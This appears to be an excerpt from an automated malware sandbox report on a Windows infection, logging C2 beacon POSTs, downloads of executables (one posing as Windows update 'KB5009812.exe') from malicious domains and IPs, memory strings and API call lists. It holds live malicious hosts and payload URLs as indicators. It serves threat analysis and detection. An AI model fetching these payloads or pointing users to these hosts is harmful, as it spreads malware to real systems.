Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmtsfedit.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cvdnubldkb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://crxfds.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yuhcl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://owybkq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /l3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ddkkslyotn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qsbkvqwnoj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 74.201.28.62
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wmqdweotts.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vbcrt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yldgixbqm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wlqxaynuuq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qochog.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drvwc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tsgnkffj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ylqihxvnug.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tvrhmio.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /l2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oeaexcj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fcifwg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rffngorjcd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bfwxl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://takmxbc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 199Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ftcxosy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bhlwowqbr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ykguadbgli.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ircqiowi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hnvpcgnd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: host-data-coin-11.com

Source: global traffic

TCP traffic: 192.168.2.3:49789 -> 185.7.214.171:8080

Source: WerFault.exe, 00000015.00000002.434956390.0000000004A44000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.425224721.0000000004A44000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.433530972.000001C13D300000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 00000006.00000002.307249135.0000019EF1E13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.comr
Source: B217.exe, 0000001B.00000002.479069139.0000000003E01000.00000004.00000001.sdmp, B217.exe, 0000001B.00000002.481840914.0000000004005000.00000004.00000001.sdmp, B217.exe, 0000001B.00000002.480913132.0000000003F71000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000003.306630585.0000019EF1E5E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000006.00000003.306594986.0000019EF1E67000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307389782.0000019EF1E6A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000003.306604066.0000019EF1E49000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307358112.0000019EF1E4E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000006.00000003.306731630.0000019EF1E41000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307338832.0000019EF1E42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000006.00000003.306731630.0000019EF1E41000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307338832.0000019EF1E42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000006.00000003.306630585.0000019EF1E5E000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000002.307383226.0000019EF1E65000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000006.00000002.307249135.0000019EF1E13000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000003.306713287.0000019EF1E45000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.306713287.0000019EF1E45000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307316944.0000019EF1E3A000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000006.00000003.306604066.0000019EF1E49000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307358112.0000019EF1E4E000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000018.00000003.404140344.000001C13D37E000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404329534.000001C13D3A0000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404235759.000001C13D819000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404260188.000001C13D802000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404168368.000001C13D38F000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

22_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /l3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 74.201.28.62
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /l2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.png HTTP/1.1Host: 74.201.28.62Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 10 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 